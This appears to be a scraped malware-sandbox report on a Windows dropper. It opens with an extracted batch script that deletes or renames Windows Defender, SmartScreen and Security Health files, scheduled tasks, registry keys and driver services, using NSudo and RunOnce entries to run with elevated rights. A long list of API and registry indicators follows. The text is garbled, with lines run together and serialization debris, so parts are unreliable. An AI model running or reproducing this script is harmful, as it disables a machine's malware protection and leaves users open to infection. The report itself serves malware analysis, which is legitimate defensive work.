"%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance"ren "%SystemRoot%\System32\SecurityHealthService.exe" "SecurityHealthService.exe_fuck"ren "%SystemRoot%\System32\smartscreenps.dll" smartscreenps.dll_fuckren "%SystemRoot%\System32\wscapi.dll" wscapi.dll_fuckren "%SystemRoot%\System32\smartscreen.exe" "smartscreen.exedel"del /f /q "%SystemRoot%\Containers\WindowsDefenderApplicationGuard.wim"del /f /q "%SystemRoot%\Containers\serviced\WindowsDefenderApplicationGuard.wim"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exe SecurityHealthHost.exeSecurityHealthAgent.dll SecurityHealthSSO.dll SecurityHealthProxyStub.dll smartscreen.dll wscisvif.dllwscproxystub.dll smartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dll wscsvc.dll SecurityHealthCore.dllSecurityHealthSsoUdk.dll SecurityHealthUdk.dll smartscreen.exeSecurityHealthService.exe_fucksmartscreenps.dll_fuckwscapi.dll_fucksmartscreen.exedel) do del /f /q "%SystemRoot%\System32\%%f" "%SystemRoot%\SysWOW64\%%f"for %%s in ("Windows Defender Cache Maintenance" "Windows Defender Cleanup" "Windows Defender Scheduled Scan" "Windows Defender Verification") do schtasks /Delete /TN "Microsoft\Windows\Windows Defender\%%~s" /fschtasks /Delete /TN "Microsoft\Windows\AppID\SmartScreenSpecific" /freg delete "HKLM\Software\Microsoft\Windows Defender" /freg delete "HKLM\Software\Microsoft\Windows Defender Security Center" /freg delete "HKLM\Software\Microsoft\Windows Advanced Threat Protection" /freg delete "HKLM\Software\Microsoft\Windows Security Health" /freg delete "HKLM\System\CurrentControlset\Control\WMI\Autologger\DefenderApiLogger" /freg delete "HKLM\System\CurrentControlset\Control\WMI\Autologger\DefenderAuditLogger" /freg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /freg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /freg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\VolumeCaches\Windows Defender" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\NIS-Driver-WFP/Diagnostic" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/Operational" /freg delete "HKLM\Software\Microsoft\SystemSettings\SettingId\SystemSettings_WindowsDefender_UseWindowsDefender" /freg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{D8559EB9-20C0-410E-BEDA-7ED416AECC2A}" /f) >nul 2>&1:FinishDeleteUnlocker /newDiskSizesc start VMTools >nul 2>&1sc start VMTools >nul 2>&1reg query "HKLM\System\CurrentControlset\Services\WdFilter" >nul 2>&1 && (call :CreateRunOnceDelReg) || (del /q Unlocker.exe >nul 2>&1reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f >nul 2>&1 :CreateRunOnceDelRegset "RegKey=HKLM\System\CurrentControlSet\Services"for %%p in (RegClean RegClean1) do reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "%%p" /t reg_sz /f /d "\"%~dp0Work\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak ^& reg delete %RegKey%\WdFilter /f ^& reg delete %RegKey%\WinDefend /f ^& reg delete %RegKey%\WdNisDrv /f ^& reg delete %RegKey%\MDCoreSvc /f ^& reg delete %RegKey%\WdNisSvc /f ^& reg delete %RegKey%\WdBoot /f\"" >nulexit /b:ManageDefender2>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "SettingsPageVisibility" | find /i "windowsdefender" >nul 2>&1 && set "HideSettigns=" || set "HideSettigns=if "%input%"=="1" goto RestoreDefenderif "%input%"=="2" goto SecHealthUIif "%input%"=="3" call :HideShowInSettingsif "%input%"=="999" goto WinSxSFoldersgoto ManageDefender:WinSxSFolderschoice /c 12 /n /m " "if errorlevel 2 goto ManageDefenderfor %%i in (windows-defender, windows-senseclient-service, windows-dynamic-image) do (for /f "usebackq delims=" %%d In (`2^>nul dir "%SystemRoot%\WinSxS\*%%i*" /S /B /A:D`) do rd /s /q "%%d" >nul 2>&1goto ManageDefender:HideShowInSettingsset "Settings=" & set "NewSettings="for /f "skip=2 tokens=3" %%i in ('reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility 2^>nul') do set "Settings=%%i"if not defined Settings (reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:windowsdefender" /fexit /b) else (if "!Settings!" equ "hide:windowsdefender" (reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /f >nulexit /b)set "Settings=!Settings:;windowsdefender=!"reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "!Settings!" /f >nulexit /b)set "NewSettings=!Settings!"if "!Settings:~-1!"==";" (set "NewSettings=!Settings!windowsdefender") else (set "NewSettings=!Settings!;windowsdefender")reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "!NewSettings!" /f >nulexit /b:SecHealthUIset "CurrentBuild="for /f "tokens=2*" %%a in ('reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild" 2^>nul') do set CurrentBuild=%%bset /a CurrentBuild=%CurrentBuild%set "SID="for /f "tokens=3 delims= " %%a in ('reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "AutoLogonSID" 2^>nul') do set "SID=%%a"if not defined SID for /f "tokens=3 delims= " %%a in ('reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" /v "LastLoggedOnUserSID" 2^>nul') do set "SID=%%a"choice /c 12 /n /m " "if errorlevel 2 goto ManageDefenderset "NameSecHealth="for /f "usebackq delims=" %%n In (`2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*SecHealthUI*" /k^|findstr ^H`) do set NameSecHealth=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameSecHealth%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameSecHealth%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *SecHealthUI* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *SecHealthUI* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (`2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*SecHealthUI*" /k^|findstr ^H`) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (`2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*SecHealth*" /S /B /A:D`) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (`2^>nul Dir "%LocalAppData%\Packages\*SecHealth*" /S /B /A:D`) do rd /s /q "%%d":AppRepSysset "NameAppRep="for /f "usebackq delims=" %%n In (`2^>nul reg query "HKU\%SID%\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages" /f "*Apprep.ChxApp*" /k^|findstr ^H`) do set NameAppRep=%%~nxnreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\S-1-5-18\%NameAppRep%" /f >nulreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\EndOfLife\%SID%\%NameAppRep%" /f >nulNSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -AllUsers *Apprep.ChxApp* | Remove-AppxPackage"NSudoLG -U:S -P:E -ShowWindowMode:Hide -Wait PowerShell "Get-AppxPackage -All *Apprep.ChxApp* | Remove-AppxPackage -User 'S-1-5-18' -ErrorAction SilentlyContinue"for /f "usebackq delims=" %%n In (`2^>nul reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications" /f "*Apprep.ChxApp*" /k^|findstr ^H`) do reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\%%~nxn" /f >nul 2>&1for /f "usebackq delims=" %%d In (`2^>nul Dir "%ProgramData%\Microsoft\Windows\AppRepository\Packages\*Apprep.ChxApp*" /S /B /A:D`) do rd /s /q "%%d"for /f "usebackq delims=" %%d In (`2^>nul Dir "%LocalAppData%\Packages\*Apprep.ChxApp*" /S /B /A:D`) do rd /s /q "%%d"Unlocker /unlock "%AllUsersProfile%\Microsoft\Windows Defender" "%SystemDrive%\Program Files\Windows Defender" "%SystemDrive%\Program Files (x86)\Windows Defender"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection""Windows Security Health"for %%d in ("Windows Defender""Windows Defender Sleep""Windows Defender Advanced Threat Protection""Windows Security""PCHealthCheck"for %%d in ("Windows Defender""Windows Defender Advanced Threat Protection"for %%f in (SecurityHealthService.exe SecurityHealthSystray.exeSecurityHealthHost.exe SecurityHealthAgent.dllSecurityHealthSSO.dll SecurityHealthProxyStub.dllsmartscreen.dll wscisvif.dll wscproxystub.dllsmartscreenps.dll wscapi.dll windowsdefenderapplicationguardcsp.dllwscsvc.dll SecurityHealthCore.dll SecurityHealthSsoUdk.dllSecurityHealthUdk.dll smartscreen.exe) do () >nul 2>&1) >nul 2>&1set "Counter=1"set "Counter64=1"for %%i in (08728914-3F57-4D52-9E31-49DAECA5A80A 10964DDD-6A53-4C60-917F-7B5723014344 17072F7B-9ABE-4A74-A261-1EB76B55107A195B4D07-3DE2-4744-BBF2-D90121AE785B 2781761E-28E0-4109-99FE-B9D127C57AFE 2981a36e-f22d-11e5-9ce9-5e5517507c662DCD7FDB-8809-48E4-8E4F-3157C57CF987 2EF44DE8-80C9-42D9-8541-F40EF0862FA3 3213CD15-4DF2-415F-83F2-9FC58F3AEB3A3522D7AF-4617-4237-AAD8-5860231FC9BA 361290c0-cb1b-49ae-9f3e-ba1cbe5dab35 36383E77-35C2-4B45-8277-329E4BEDF47F" (Indicator: ""del ") in Source: 34.bat6e:T4fa,Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "DeleteFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")6f:T93c,Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "AdjustTokenPrivileges"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AdjustTokenPrivileges.+" (Indicator: "AdjustTokenPrivileges"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00000860.00000000.92190.01241000.00000020.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004460.00000000.93884.E7330000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp")70:T41e,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetFileAttributesW" (Indicator: "SetFileAttributes"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")71:T108b,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetAce" (Indicator: "GetAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CreateRestrictedToken" (Indicator: "CreateRestrictedToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "AddAce" (Indicator: "AddAce"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "IsWellKnownSid" (Indicator: "IsWellKnownSid"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")72:T139a,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: F2a97.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: F2a97.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: F2a97.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: F2a97.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: F2a97.exe] Observed import api "GetFileSecurityW" which can "Obtains specified information about the security of a file or directory" [Source: 7z.exe] Observed import api "SetFileSecurityW" which can "Sets the security of a file or directory object" [Source: 7z.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: saved.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: saved.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: saved.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: saved.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: saved.exe] Observed import api "ImpersonateLoggedOnUser" which can "Lets the calling thread impersonate the security context of a logged-on user" [Source: saved.exe] Observed import api "RevertToSelf" which can "Terminates the impersonation of a client application" [Source: saved.exe] Observed import api "AddAccessAllowedAce" which can "Adds an access-allowed access control entry (ACE) to an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AddAce" which can "Adds one or more access control entries (ACEs) to a specified access control list (ACL)" [Source: NSudoLG.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: NSudoLG.exe] Observed import api "CreateRestrictedToken" which can "Creates a new access token that is a restricted version of an existing access token" [Source: NSudoLG.exe] Observed import api "DuplicateToken" which can "Creates a new access token that duplicates one already in existence" [Source: NSudoLG.exe] Observed import api "DuplicateTokenEx" which can "Creates a new access token that duplicates an existing token" [Source: NSudoLG.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: NSudoLG.exe] Observed import api "GetAce" which can "Obtains a pointer to an access control entry (ACE) in an access control list (ACL)" [Source: NSudoLG.exe] Observed import api "GetLengthSid" which can "Returns the length in bytes of a valid security identifier (SID)" [Source: NSudoLG.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: NSudoLG.exe] Observed import api "InitializeAcl" which can "Initializes a new ACL structure" [Source: NSudoLG.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: NSudoLG.exe] Observed import api "IsWellKnownSid" which can "Compares a SID to a well-known SID and returns TRUE if they match" [Source: NSudoLG.exe] Observed import api "SetTokenInformation" which can "Sets various types of information for a specified access token" [Source: NSudoLG.exe]73:Tff1,"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\F2A97.EXE"; Value: "") "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\3Y00Z.EXE"; Value: "") "F2a97.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\1H12M2.EXE"; Value: "") "F2a97.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\2O4405.EXE"; Value: "") "1H12M2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\WORK\NSUDOLG.EXE"; Value: "") "2O4405.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "2O4405.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "2O4405.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "2O4405.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\C13DBDC4FA\SAVED.EXE"; Value: "") "NSudoLG.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MODE.COM"; Value: "")74:T51b,"F2a97.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\F2a97.exe]- [targetUID: 00000000-00007396] 